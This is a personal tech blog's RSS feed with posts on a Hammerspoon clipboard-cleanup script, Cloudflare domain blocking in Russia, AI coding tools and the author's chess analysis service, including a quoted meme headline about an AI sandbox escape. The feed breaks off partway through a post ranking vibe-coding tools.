<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Mike Koz</title>
    <link>https://koz.tv/</link>
    <description>Mike Koz: former CPO at Positive Technologies and Ozon Global, now building chess.rodeo solo. Product consulting, MVPs, and mentoring.</description>
    <language>en</language>
    <lastBuildDate>Tue, 19 May 2026 00:00:00 GMT</lastBuildDate>
    <atom:link href="https://koz.tv/feed.xml" rel="self" type="application/rss+xml"/>
    <item>
      <title>We, along with nol_design_artemov, decided to launch a channel where we explore cool products and the people who make them.</title>
      <link>https://koz.tv/posts/we-along-with-noldesignartemov-decided-to-launch-a-channel-w/</link>
      <guid isPermaLink="true">https://koz.tv/posts/we-along-with-noldesignartemov-decided-to-launch-a-channel-w/</guid>
      <pubDate>Tue, 19 May 2026 00:00:00 GMT</pubDate>
      <description>🪇 Rustled the first issue Watch: https://youtu.be/GG6visgV5rs We're breaking down 3 new products that hooked us: AirPoint Computer control without a mouse…</description>
      <content:encoded><![CDATA[<blockquote>
<p>🪇 Rustled the first issue<br>Watch: <a href="https://youtu.be/GG6visgV5rs" target="_blank" rel="noopener">https://youtu.be/GG6visgV5rs</a>  </p>
<p>We&#39;re breaking down 3 new products that hooked us:  </p>
<p>AirPoint<br>Computer control without a mouse and trackpad. The cursor moves behind your hand via the webcam, and popular actions can be assigned to gestures.<br>Site: <a href="https://www.airpoint.app/" target="_blank" rel="noopener">https://www.airpoint.app/</a><br>Product Hunt: <a href="https://www.producthunt.com/products/airpoint" target="_blank" rel="noopener">https://www.producthunt.com/products/airpoint</a><br>Author — Mario Andres “Andrew” Flores: <a href="https://x.com/andrewflowersmd" target="_blank" rel="noopener">https://x.com/andrewflowersmd</a>  </p>
<p>Duck, Duck, Duck! by IDEO<br>A physical and virtual AI duck for Claude Code. It monitors the coding session, reacts to what&#39;s happening, and helps maintain context.<br>Site: <a href="https://duck-duck-duck.edges.ideo.com/" target="_blank" rel="noopener">https://duck-duck-duck.edges.ideo.com/</a><br>Product Hunt: <a href="https://www.producthunt.com/products/duck-duck-duck-by-ideo" target="_blank" rel="noopener">https://www.producthunt.com/products/duck-duck-duck-by-ideo</a><br>GitHub / Download app: <a href="https://github.com/ideo/duck-duck-duck" target="_blank" rel="noopener">https://github.com/ideo/duck-duck-duck</a><br>Project team:<br>Jenna Fizel — <a href="https://www.linkedin.com/in/jftesser" target="_blank" rel="noopener">https://www.linkedin.com/in/jftesser</a><br>Danny DeRuntz — <a href="https://www.linkedin.com/in/danny-deruntz-3200b419" target="_blank" rel="noopener">https://www.linkedin.com/in/danny-deruntz-3200b419</a><br>Andrew Reischling — <a href="https://www.linkedin.com/in/andrew-reischling-9611b7167" target="_blank" rel="noopener">https://www.linkedin.com/in/andrew-reischling-9611b7167</a>  </p>
<p>DynamicLake<br>An app that turns the MacBook notch into an interactive island with music, notifications, files, and other utilities.<br>Site: <a href="https://www.dynamiclake.com/" target="_blank" rel="noopener">https://www.dynamiclake.com/</a><br>Product Hunt: <a href="https://www.producthunt.com/products/dynamiclake" target="_blank" rel="noopener">https://www.producthunt.com/products/dynamiclake</a><br>Author — Avior Rokach: <a href="https://x.com/AVIROK1" target="_blank" rel="noopener">https://x.com/AVIROK1</a>  </p>
<p>— <a href="https://t.me/nashurshali/6" target="_blank" rel="noopener">Rustled</a></p>
</blockquote>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/we-along-with-noldesignartemov-decided-to-launch-a-channel-w/image1-480.avif 480w, https://koz.tv/posts/we-along-with-noldesignartemov-decided-to-launch-a-channel-w/image1-960.avif 960w, https://koz.tv/posts/we-along-with-noldesignartemov-decided-to-launch-a-channel-w/image1.avif 1280w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="lazy" decoding="async" src="https://koz.tv/posts/we-along-with-noldesignartemov-decided-to-launch-a-channel-w/image1-960.webp" alt="" width="1280" height="720" style="aspect-ratio:1280/720" srcset="https://koz.tv/posts/we-along-with-noldesignartemov-decided-to-launch-a-channel-w/image1-480.webp 480w, https://koz.tv/posts/we-along-with-noldesignartemov-decided-to-launch-a-channel-w/image1-960.webp 960w, https://koz.tv/posts/we-along-with-noldesignartemov-decided-to-launch-a-channel-w/image1.webp 1280w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
]]></content:encoded>
    </item>
    <item>
      <title>How I set up a hotkey to strip indents when copying from the terminal</title>
      <link>https://koz.tv/posts/how-i-set-up-a-hotkey-to-strip-indents-when-copying-from-the-terminal/</link>
      <guid isPermaLink="true">https://koz.tv/posts/how-i-set-up-a-hotkey-to-strip-indents-when-copying-from-the-terminal/</guid>
      <pubDate>Mon, 18 May 2026 00:00:00 GMT</pubDate>
      <description>I work in Claude Code through Wave Terminal. Noticed a small annoyance: whenever I copy an assistant reply and paste it somewhere, every line gets two extra…</description>
      <content:encoded><![CDATA[<p>I work in Claude Code through Wave Terminal. Noticed a small annoyance: whenever I copy an assistant reply and paste it somewhere, every line gets two extra spaces at the start.</p>
<p>At first I thought the assistant itself was inserting trailing spaces. Asked it not to. Didn&#39;t help. I started digging — turns out it&#39;s the renderer: the terminal indents the assistant&#39;s text by two spaces to visually separate it from my input. When you copy, that indent honestly lands in the clipboard.</p>
<p>iTerm2 has an option for this called &quot;Trim trailing whitespace when copying&quot;. Wave doesn&#39;t. Claude Code&#39;s settings don&#39;t have anything similar either.</p>
<p>I decided to bind clipboard cleanup to a hotkey via Hammerspoon. Simple idea: hit Cmd+Shift+V, a Lua script grabs the clipboard, strips the two leading spaces from every line, puts it back, and emulates a regular Cmd+V.</p>
<p>Sounds like ten lines of code. In practice I collected a set of pitfalls.</p>
<p><strong>Pitfall 1.</strong> The Hammerspoon hotkey API registers a combo by character. When I wrote <code>hs.hotkey.bind({&quot;cmd&quot;,&quot;shift&quot;}, &quot;v&quot;, ...)</code>, it looked at the active keyboard layout. At the moment Hammerspoon loaded my layout was Russian — and on the Russian layout the physical V key produces the letter &quot;м&quot;. The hotkey registered as ⌘⇧м and worked only when Russian was active. Switched to English — nothing happens.</p>
<p><strong>Pitfall 2.</strong> I tried passing a raw keycode as a number — 9 is the physical V key on any layout. <code>bindSpec</code> accepts a number but silently ignores it and still looks for a string. <code>bind</code> accepts the number, but it didn&#39;t fire on a physical keypress — apparently something at the Carbon Events level breaks with a non-Latin layout.</p>
<p>In the end I threw out the hotkey API entirely and moved to <code>hs.eventtap.new</code> — that&#39;s interception at the CGEventTap level, below applications and below layouts. I get a raw keyDown event and check modifiers and keycode 9 manually. Works everywhere.</p>
<p><strong>Pitfall 3.</strong> The most annoying one. After all the fixes I restart Hammerspoon, the config loads, <code>hs.accessibilityState()</code> returns true. But eventtap doesn&#39;t receive a single event. I physically press Cmd+Shift+V — logs are empty. I send it programmatically via <code>hs.eventtap.event.newKeyEvent(...):post()</code> — it fires.</p>
<p>Went to System Settings → Privacy &amp; Security → Accessibility. Hammerspoon was there, toggle on. I flipped it OFF, waited two seconds, flipped it back ON. Restarted Hammerspoon. Worked.</p>
<p>Looks like after <code>pkill</code> macOS cached the permission in a &quot;kinda granted but not really&quot; state. The re-toggle reissues the actual permission for the low-level event tap. <code>accessibilityState()</code> was lying the whole time.</p>
<p><strong>Bottom line:</strong> Cmd+Shift+V now cleans the clipboard before pasting. Regular Cmd+V still works the same. If this ever breaks again — I know what to check first.</p>
<p>Final <code>~/.hammerspoon/init.lua</code>:</p>
<pre><code class="language-lua">local function cleanText(s)
  if s == nil or s == &quot;&quot; then return s end
  s = s:gsub(&quot;^  &quot;, &quot;&quot;)           -- leading 2 spaces at the very start
  s = s:gsub(&quot;\n  &quot;, &quot;\n&quot;)        -- leading 2 spaces after every newline
  s = s:gsub(&quot;[ \t]+\n&quot;, &quot;\n&quot;)    -- trailing whitespace before newlines
  s = s:gsub(&quot;[ \t]+$&quot;, &quot;&quot;)       -- trailing whitespace at the very end
  return s
end

local tap = hs.eventtap.new({hs.eventtap.event.types.keyDown}, function(event)
  local flags = event:getFlags()
  -- keycode 9 = physical V key on US ANSI, independent of layout
  if flags.cmd and flags.shift and not flags.alt and not flags.ctrl
     and event:getKeyCode() == 9 then
    local raw = hs.pasteboard.getContents()
    if raw == nil or raw == &quot;&quot; then return true end

    hs.pasteboard.setContents(cleanText(raw))

    -- post a synthetic Cmd+V to the focused app
    hs.timer.doAfter(0.02, function()
      hs.eventtap.event.newKeyEvent({&quot;cmd&quot;}, 9, true):post()
      hs.timer.usleep(20000)
      hs.eventtap.event.newKeyEvent({&quot;cmd&quot;}, 9, false):post()
    end)
    -- restore the original clipboard after the paste completes
    hs.timer.doAfter(0.6, function()
      hs.pasteboard.setContents(raw)
    end)

    return true  -- consume the original Cmd+Shift+V so the app doesn&#39;t also see it
  end
  return false
end)
tap:start()

-- auto-reload on config edit
hs.pathwatcher.new(os.getenv(&quot;HOME&quot;) .. &quot;/.hammerspoon/&quot;, function(files)
  for _, f in ipairs(files) do
    if f:match(&quot;%.lua$&quot;) then hs.reload(); return end
  end
end):start()

hs.alert.show(&quot;Hammerspoon: Cmd+Shift+V for clean paste&quot;)
</code></pre>
]]></content:encoded>
    </item>
    <item>
      <title>A new Anthropic model escaped the sandbox during testing and published details on the internet about exactly how it exploited sandbox vulnerabilities to break out.</title>
      <link>https://koz.tv/posts/a-new-anthropic-model-escaped-the-sandbox-during-testing-and/</link>
      <guid isPermaLink="true">https://koz.tv/posts/a-new-anthropic-model-escaped-the-sandbox-during-testing-and/</guid>
      <pubDate>Wed, 08 Apr 2026 00:00:00 GMT</pubDate>
      <description>A new Anthropic model escaped the sandbox during testing and published details on the internet about exactly how it exploited sandbox vulnerabilities to break…</description>
      <content:encoded><![CDATA[<blockquote>
<p>(&quot;Normal 🔨Mere Tool🔨 behavior&quot;, — AI Notkilleveryoneism Memes) How are you doing?</p>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/a-new-anthropic-model-escaped-the-sandbox-during-testing-and/image1-480.avif 480w, https://koz.tv/posts/a-new-anthropic-model-escaped-the-sandbox-during-testing-and/image1-960.avif 960w, https://koz.tv/posts/a-new-anthropic-model-escaped-the-sandbox-during-testing-and/image1.avif 1280w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="eager" decoding="async" src="https://koz.tv/posts/a-new-anthropic-model-escaped-the-sandbox-during-testing-and/image1-960.webp" alt="" width="1280" height="479" style="aspect-ratio:1280/479" srcset="https://koz.tv/posts/a-new-anthropic-model-escaped-the-sandbox-during-testing-and/image1-480.webp 480w, https://koz.tv/posts/a-new-anthropic-model-escaped-the-sandbox-during-testing-and/image1-960.webp 960w, https://koz.tv/posts/a-new-anthropic-model-escaped-the-sandbox-during-testing-and/image1.webp 1280w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
<p>— Mikhail Samin</p>
</blockquote>
]]></content:encoded>
    </item>
    <item>
      <title>Anthropic seems to have made a new breakthrough with their model, one so advanced that even ordinary people are afraid to use it.</title>
      <link>https://koz.tv/posts/anthropic-seems-to-have-made-a-new-breakthrough-with-their-m/</link>
      <guid isPermaLink="true">https://koz.tv/posts/anthropic-seems-to-have-made-a-new-breakthrough-with-their-m/</guid>
      <pubDate>Tue, 07 Apr 2026 00:00:00 GMT</pubDate>
      <description>Judging by benchmarks, it is noticeably stronger than Opus 4.6 in everything: SWE-bench Verified: 93.9% vs 80.8% Humanity's Last Exam: 56.8% vs 40.0% GPQA…</description>
      <content:encoded><![CDATA[<p><a href="https://www.anthropic.com/glasswing" target="_blank" rel="noopener">https://www.anthropic.com/glasswing</a></p>
<p>Judging by benchmarks, it is noticeably stronger than Opus 4.6 in everything:</p>
<p>SWE-bench Verified: 93.9% vs 80.8%<br>Humanity&#39;s Last Exam: 56.8% vs 40.0%<br>GPQA Diamond: 94.6% vs 91.3%<br>Coding, reasoning, agent tasks — everywhere a significant lead</p>
<p>Essentially, this is the next generation after Opus. Anthropic keeps it closed for safety reasons — the model is too good at finding and exploiting vulnerabilities, so releasing it to everyone at once is currently risky.<br>They want to first test the protective filters on the new Opus, and then open access to the Mythos-class to a wider audience.</p>
<p>I work with Opus every day and it already handles complex tasks on its own quite often, so what comes next? 🤯</p>
<p><img src="https://koz.tv/posts/anthropic-seems-to-have-made-a-new-breakthrough-with-their-m/image1.bin" alt="" width="1200" height="630" style="aspect-ratio:1200/630" loading="eager" decoding="async" /></p>
]]></content:encoded>
    </item>
    <item>
      <title>Update to the story about Cloudflare and chess.rodeo.</title>
      <link>https://koz.tv/posts/update-to-the-story-about-cloudflare-and-chessrodeo/</link>
      <guid isPermaLink="true">https://koz.tv/posts/update-to-the-story-about-cloudflare-and-chessrodeo/</guid>
      <pubDate>Mon, 09 Mar 2026 00:00:00 GMT</pubDate>
      <description>After my last post, I removed Cloudflare entirely: I transferred the domain to Porkbun and routed traffic directly to the server.</description>
      <content:encoded><![CDATA[<p>After my last post, I removed Cloudflare entirely: I transferred the domain to Porkbun and routed traffic directly to the server.</p>
<p>It seemed like that was the end of it.</p>
<p>However, I accidentally noticed while on my home PC without VPN that the site wasn&#39;t loading completely; the number of games module was hidden for some reason. I went to investigate.</p>
<p>From the server side, everything looks fine:<br><code>curl https://chess.rodeo</code><br>responds quickly, the API is working, and there are no errors.</p>
<p>I started looking at the connections and saw a strange picture:</p>
<p>TCP to the server is established,<br>the TLS handshake passes,<br>but then some HTTP requests hang.</p>
<p>In other words, the connection was established, but there is no response.</p>
<p>At first, I thought it was something on my end. I checked Caddy, the backend, the logs—I tried everything—but nothing helped.</p>
<p>I contacted the host. They said everything is normal on their side and they don&#39;t see any network issues.</p>
<p>In the end, I decided to route traffic through a proxy, set up caching, and request limits along the way—and everything started working.</p>
<p>It seems that for some ISPs, the HTTP/HTTPS traffic was breaking somewhere along the route to the server. It works via a different route. Meanwhile, ping works, and SSH establishes fine. You could think everything is okay and not even know you have a problem.</p>
<p><strong>Ideally, of course, you shouldn&#39;t rely on a single route and a single IP. You need a proxy or CDN with multiple entry points so traffic can take different paths. And wrap everything in monitoring (hello Sentry) and analytics.</strong></p>
<p><img src="https://koz.tv/posts/update-to-the-story-about-cloudflare-and-chessrodeo/image1.bin" alt="" width="1200" height="630" style="aspect-ratio:1200/630" loading="lazy" decoding="async" /></p>
]]></content:encoded>
    </item>
    <item>
      <title>Do not register domains on Cloudflare if your audience is in Russia</title>
      <link>https://koz.tv/posts/do-not-register-domains-on-cloudflare-if-your-audience-is-in/</link>
      <guid isPermaLink="true">https://koz.tv/posts/do-not-register-domains-on-cloudflare-if-your-audience-is-in/</guid>
      <pubDate>Tue, 24 Feb 2026 00:00:00 GMT</pubDate>
      <description>Cloudflare Registrar – probably the cheapest way to register a domain. Without markup, at cost. Sounds perfect, until one thing is discovered.</description>
      <content:encoded><![CDATA[<p>Cloudflare Registrar – probably the cheapest way to register a domain. Without markup, at cost. Sounds perfect, until one thing is discovered.</p>
<p>I registered chess.rodeo through Cloudflare. Everything worked until I was told: &quot;my link doesn&#39;t open.&quot; I started investigating – it turned out that a number of Russian providers block Cloudflare at the NS server level. That is, the domain simply doesn&#39;t resolve. It&#39;s not that the site is unavailable, but that the domain itself cannot be found. To the user, this looks like &quot;site does not exist.&quot;</p>
<p>For the same reason, it is also not worth proxying traffic through Cloudflare. Yes, the Cloudflare proxy has a lot of pros – DDoS protection, acceleration of loading by distributing static content from the server closest to the user, showing a cached version of the site when the server goes down (Always Online), and basic protection against typical attacks like SQL injections (WAF) – but if a portion of users in principle cannot reach you, the benefit of these pros is zero.</p>
<p>What can be done if you have already registered on Cloudflare:</p>
<p>• You can move to another registrar only 60 days after registration (ICANN requirement), and you will have to pay for an immediate one-year extension. Before – impossible.<br>• On the Cloudflare free tier, you cannot change NS servers to others (non-Cloudflare ones). There is an option to enable Multi-provider DNS – we tried it. It works intermittently, when an unblocked NS is randomly selected. Better than nothing, but it cannot be called a stable solution.<br>• You can take the paid Business tier ($200/mo) – only on it are custom NS servers available. But if you are paying $200 a month just to make the domain open normally in Russia, why register on Cloudflare at all?</p>
<p>Result: I switched to <a href="https://porkbun.com/" target="_blank" rel="noopener">Porkbun</a>. There seem to be no blocks, I won&#39;t claim it 100%. If you are making a project for a Russian audience – take a registrar whose NS are not blocked. The $2 saved on the domain is not worth the lost users.</p>
<p><img src="https://koz.tv/posts/do-not-register-domains-on-cloudflare-if-your-audience-is-in/image1.bin" alt="" width="1200" height="1200" style="aspect-ratio:1200/1200" loading="lazy" decoding="async" /></p>
]]></content:encoded>
    </item>
    <item>
      <title>If you worked all day (and in a corporation, you also had to get the month approved) and the footer is finally aligned, good job.</title>
      <link>https://koz.tv/posts/if-you-worked-all-day-and-in-a-corporation-you-also-had-to-g/</link>
      <guid isPermaLink="true">https://koz.tv/posts/if-you-worked-all-day-and-in-a-corporation-you-also-had-to-g/</guid>
      <pubDate>Wed, 11 Feb 2026 00:00:00 GMT</pubDate>
      <description>If you worked all day (and in a corporation, you also had to get the month approved) and the footer is finally aligned, good job.</description>
      <content:encoded><![CDATA[<p><video src="https://koz.tv/posts/if-you-worked-all-day-and-in-a-corporation-you-also-had-to-g/image1.mp4" controls></video></p>
]]></content:encoded>
    </item>
    <item>
      <title>Continuation about the Chrome extension</title>
      <link>https://koz.tv/posts/continuation-about-the-chrome-extension/</link>
      <guid isPermaLink="true">https://koz.tv/posts/continuation-about-the-chrome-extension/</guid>
      <pubDate>Wed, 04 Feb 2026 00:00:01 GMT</pubDate>
      <description>I created an extension primarily for myself to remove friction. At the same time, Chrome has an extension search, and the extensions themselves are indexed…</description>
      <content:encoded><![CDATA[<div class="reply-to"><a href="https://koz.tv/posts/about-dogfooding/">↩️ In reply to: About Dogfooding</a></div><p>I created <a href="https://chromewebstore.google.com/detail/chikgakoigfibdfhgfichmgonahfpool?utm_source=item-share-cb" target="_blank" rel="noopener">an extension</a> primarily for myself to remove friction. At the same time, Chrome has an extension search, and the extensions themselves are indexed by Google. As a result, this can also serve as an entry point for new users.</p>
<p>It also hooks the audience. If someone installs it, it means the product is genuinely needed by them. It is easier to reach such a user later to remind them of yourself, show an update, or offer early access.</p>
<p>The extension itself is quite simple to make. Claude or Codex can build an extension for your product from just one or two prompts.</p>
<p><img src="https://koz.tv/posts/continuation-about-the-chrome-extension/image1.bin" alt="" width="128" height="128" style="aspect-ratio:128/128" loading="eager" decoding="async" /></p>
]]></content:encoded>
    </item>
    <item>
      <title>What is vibe coding and why it works</title>
      <link>https://koz.tv/posts/chto-takoe-vibecoding/</link>
      <guid isPermaLink="true">https://koz.tv/posts/chto-takoe-vibecoding/</guid>
      <pubDate>Wed, 04 Feb 2026 00:00:00 GMT</pubDate>
      <description>Vibe coding is building products with AI without knowing how to code. Here's how it works and how to get started.</description>
      <content:encoded><![CDATA[<p>Vibe coding – you explain what you want, AI writes the code. That&#39;s it.</p>
<p>You don&#39;t need syntax or JavaScript tutorials: say &quot;make a contact form&quot; and you get a form.</p>
<h2>Why this didn&#39;t work before</h2>
<p>GPT-3 could spit out a function, but it couldn&#39;t build a project: it lost context, mixed up files and forgot what it was doing a minute ago.</p>
<p>Now Claude 4.5, GPT-5, Gemini 3 keep the whole project in their head. They understand you even when you explain things badly. They find and fix their own bugs.</p>
<p>Plus real tools showed up: Cursor, Claude Code, Codex. You write what you need – AI edits files – you see results. Whole loop takes seconds.</p>
<h2>Who needs this</h2>
<p>Product managers, designers, founders, marketers – anyone who wants to build products but doesn&#39;t want to spend three years learning to code.</p>
<p>A PM can build a prototype instead of writing specs. A designer can turn mockups into working sites. A founder can test an idea over the weekend.</p>
<h2>What you can build</h2>
<p>In a couple hours – landing page, Telegram bot, browser extension, automation script.</p>
<p>Over a weekend – SaaS with auth, tool with a database. That&#39;s how I build <a href="https://chess.rodeo" target="_blank" rel="noopener">chess.rodeo</a>.</p>
<h2>Where to start</h2>
<p>Pick a tool:</p>
<ul>
<li><a href="https://lovable.dev" target="_blank" rel="noopener">Lovable</a> or <a href="https://replit.com" target="_blank" rel="noopener">Replit</a> – everything in browser, nothing to install</li>
<li><a href="https://openai.com/codex" target="_blank" rel="noopener">Codex</a> – harder to figure out, but more flexible</li>
<li><a href="https://claude.ai/download" target="_blank" rel="noopener">Claude Code</a> – popular, but decent work needs a $100+/month plan</li>
</ul>
<p>More on tools <a href="https://koz.tv/posts/about-tools-models-for-vibe-coding/">in a separate post</a>.</p>
<p>Start small. Don&#39;t try to build a &quot;Notion killer&quot; right away – make a personal page or a bot that sends weather.</p>
<p>The main thing is learning to explain to AI what you need. It&#39;s a skill, comes with practice.</p>
<h2>Limitations</h2>
<p>Vibe coding won&#39;t make you a programmer. You won&#39;t understand what&#39;s happening under the hood. For most tasks you don&#39;t need to: a working product is enough.</p>
<p>If you want to go deeper later, you will, but for getting started it&#39;s unnecessary.</p>
<hr>
<p>Want to learn? I <a href="https://koz.tv/mentoring/">do mentoring</a>. In a few calls I&#39;ll show you how to build products yourself.</p>
]]></content:encoded>
    </item>
    <item>
      <title>About Dogfooding</title>
      <link>https://koz.tv/posts/about-dogfooding/</link>
      <guid isPermaLink="true">https://koz.tv/posts/about-dogfooding/</guid>
      <pubDate>Mon, 02 Feb 2026 00:00:00 GMT</pubDate>
      <description>I regularly analyze my games through chess.rodeo And at some point realized I was doing it less often than I’d like. Not because the analysis is bad…</description>
      <content:encoded><![CDATA[<p>I regularly analyze my games through <a href="https://chess.rodeo/" target="_blank" rel="noopener">chess.rodeo</a><br>And at some point realized I was doing it less often than I’d like.</p>
<p>Not because the analysis is bad, but because the process is a hassle.</p>
<p>Every time it’s the same:  </p>
<ul>
<li>open chess.rodeo  </li>
<li>click sync  </li>
<li>find the right game  </li>
<li>start analysis</li>
</ul>
<p>It doesn&#39;t seem complicated, but it’s friction that prevents the habit from forming.<br>Instead of analyzing, it’s easier to just start the next game.</p>
<p>As a result, I made a Chrome extension<br>that embeds directly into chess.com.<br>The game ends – and there’s immediately a button that opens the analysis page.</p>
<p>This turned out to be enough for me to start using the product more often myself.<br>Although starting the next game is still more pleasant than digging into the analysis.<br>I’ll keep thinking about it.</p>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/about-dogfooding/image1-480.avif 480w, https://koz.tv/posts/about-dogfooding/image1.avif 650w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="eager" decoding="async" src="https://koz.tv/posts/about-dogfooding/image1-480.webp" alt="" width="650" height="800" style="aspect-ratio:650/800" srcset="https://koz.tv/posts/about-dogfooding/image1-480.webp 480w, https://koz.tv/posts/about-dogfooding/image1.webp 650w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
]]></content:encoded>
    </item>
    <item>
      <title>Hit the 1000 MAU mark with chess.rodeo 🥳</title>
      <link>https://koz.tv/posts/hit-the-1000-mau-mark-with-chessrodeo/</link>
      <guid isPermaLink="true">https://koz.tv/posts/hit-the-1000-mau-mark-with-chessrodeo/</guid>
      <pubDate>Sat, 31 Jan 2026 00:00:00 GMT</pubDate>
      <description>And this is just 2 months since launch. The statistics only include users who consented to cookies, so the real number is higher. No artificial boosting and no…</description>
      <content:encoded><![CDATA[<p>And this is just 2 months since launch.</p>
<p>The statistics only include users who consented to cookies, so the real number is higher.<br>No artificial boosting and no paid marketing — just building a convenient chess service ♟️</p>
<p>A few numbers from production:<br>— 216k+ games uploaded<br>— 8.4k analyzed</p>
<p>As for &quot;marketing&quot; — a few videos on YouTube and one short video.<br>The rest is organic. The product is growing on its own.</p>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/hit-the-1000-mau-mark-with-chessrodeo/image1-480.avif 480w, https://koz.tv/posts/hit-the-1000-mau-mark-with-chessrodeo/image1-960.avif 960w, https://koz.tv/posts/hit-the-1000-mau-mark-with-chessrodeo/image1.avif 1280w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="eager" decoding="async" src="https://koz.tv/posts/hit-the-1000-mau-mark-with-chessrodeo/image1-960.webp" alt="" width="1280" height="680" style="aspect-ratio:1280/680" srcset="https://koz.tv/posts/hit-the-1000-mau-mark-with-chessrodeo/image1-480.webp 480w, https://koz.tv/posts/hit-the-1000-mau-mark-with-chessrodeo/image1-960.webp 960w, https://koz.tv/posts/hit-the-1000-mau-mark-with-chessrodeo/image1.webp 1280w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
]]></content:encoded>
    </item>
    <item>
      <title>I tested it, it really works pretty well, and they're giving away GLM 4.7 for free too (it's also a good model, I wrote about it above).</title>
      <link>https://koz.tv/posts/i-tested-it-it-really-works-pretty-well-and-theyre-giving-glm47/</link>
      <guid isPermaLink="true">https://koz.tv/posts/i-tested-it-it-really-works-pretty-well-and-theyre-giving-glm47/</guid>
      <pubDate>Thu, 29 Jan 2026 00:00:00 GMT</pubDate>
      <description>If you're going to try it, it's better to install it as a VS Code extension. I checked the terminal installation option, which I currently always use…</description>
      <content:encoded><![CDATA[<div class="reply-to"><a href="https://koz.tv/posts/following-up-on-the-post-you-can-use-kimi-k25-for-free/">↩️ In reply to: Following up on the post, you can use kimi k2.5 for free for the next 6 days if you install their app or extension. https://kilo.ai/</a></div><p><strong>If you&#39;re going to try it, it&#39;s better to install it as a <a href="https://app.kilo.ai/welcome" target="_blank" rel="noopener">VS Code extension</a>.</strong>
I checked the terminal installation option, which I currently always use and recommend for everything listed above. But not in this case; Kilo Code&#39;s terminal interface is really clunky:
• there is no &quot;allow all&quot; mode; it&#39;s sort of there, but it doesn&#39;t really allow everything 😅
• you have to really struggle to resume a previous session
• if you open it in two windows, the second one seems to hijack control from the first instance
Overall, the terminal version looks questionable for now.
But as an extension, everything looks very nice and works well.
It even praised me for my work, which was also nice.</p>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/i-tested-it-it-really-works-pretty-well-and-theyre-giving-glm47/image1-480.avif 480w, https://koz.tv/posts/i-tested-it-it-really-works-pretty-well-and-theyre-giving-glm47/image1.avif 814w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="eager" decoding="async" src="https://koz.tv/posts/i-tested-it-it-really-works-pretty-well-and-theyre-giving-glm47/image1-480.webp" alt="" width="814" height="1786" style="aspect-ratio:814/1786" srcset="https://koz.tv/posts/i-tested-it-it-really-works-pretty-well-and-theyre-giving-glm47/image1-480.webp 480w, https://koz.tv/posts/i-tested-it-it-really-works-pretty-well-and-theyre-giving-glm47/image1.webp 814w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
]]></content:encoded>
    </item>
    <item>
      <title>Following up on the post, you can use kimi k2.5 for free for the next 6 days if you install their app or extension. https://kilo.ai/</title>
      <link>https://koz.tv/posts/following-up-on-the-post-you-can-use-kimi-k25-for-free/</link>
      <guid isPermaLink="true">https://koz.tv/posts/following-up-on-the-post-you-can-use-kimi-k25-for-free/</guid>
      <pubDate>Wed, 28 Jan 2026 00:00:01 GMT</pubDate>
      <description>That's a really juicy offer; if it's actually better than Opus, then you can manage to complete several projects over these 6 days and evaluate how it all…</description>
      <content:encoded><![CDATA[<div class="reply-to"><a href="https://koz.tv/posts/about-tools-models-for-vibe-coding/">↩️ In reply to: About tools/models for vibe coding.</a></div><p>That&#39;s a really juicy offer; if it&#39;s actually better than Opus, then you can manage to complete several projects over these 6 days and evaluate how it all works without spending a penny.</p>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/following-up-on-the-post-you-can-use-kimi-k25-for-free/image1-480.avif 480w, https://koz.tv/posts/following-up-on-the-post-you-can-use-kimi-k25-for-free/image1-960.avif 960w, https://koz.tv/posts/following-up-on-the-post-you-can-use-kimi-k25-for-free/image1-1600.avif 1600w, https://koz.tv/posts/following-up-on-the-post-you-can-use-kimi-k25-for-free/image1.avif 2236w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="eager" decoding="async" src="https://koz.tv/posts/following-up-on-the-post-you-can-use-kimi-k25-for-free/image1-960.webp" alt="" width="2236" height="1260" style="aspect-ratio:2236/1260" srcset="https://koz.tv/posts/following-up-on-the-post-you-can-use-kimi-k25-for-free/image1-480.webp 480w, https://koz.tv/posts/following-up-on-the-post-you-can-use-kimi-k25-for-free/image1-960.webp 960w, https://koz.tv/posts/following-up-on-the-post-you-can-use-kimi-k25-for-free/image1-1600.webp 1600w, https://koz.tv/posts/following-up-on-the-post-you-can-use-kimi-k25-for-free/image1.webp 2236w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
]]></content:encoded>
    </item>
    <item>
      <title>About tools/models for vibe coding.</title>
      <link>https://koz.tv/posts/about-tools-models-for-vibe-coding/</link>
      <guid isPermaLink="true">https://koz.tv/posts/about-tools-models-for-vibe-coding/</guid>
      <pubDate>Wed, 28 Jan 2026 00:00:00 GMT</pubDate>
      <description>My personal price/quality rating for January 2026. ChatGPT Codex https://openai.com/chatgpt $20 a month, included in the regular Plus subscription that many…</description>
      <content:encoded><![CDATA[<p>My personal price/quality rating for January 2026.</p>
<ol>
<li><p>ChatGPT Codex<br><a href="https://openai.com/chatgpt" target="_blank" rel="noopener">https://openai.com/chatgpt</a>
$20 a month, included in the regular Plus subscription that many people pay for anyway.
Very large limits — if compared to Claude, it&#39;s like their ~$100 plan.
If you don&#39;t sit in it all working day, but use it for your side projects –
in my opinion, this is currently the best option.
Plus, Codex has a large memory window: it easily digests large projects and doesn&#39;t constantly go into &quot;spacing out&quot; mode due to overflowing context.</p>
</li>
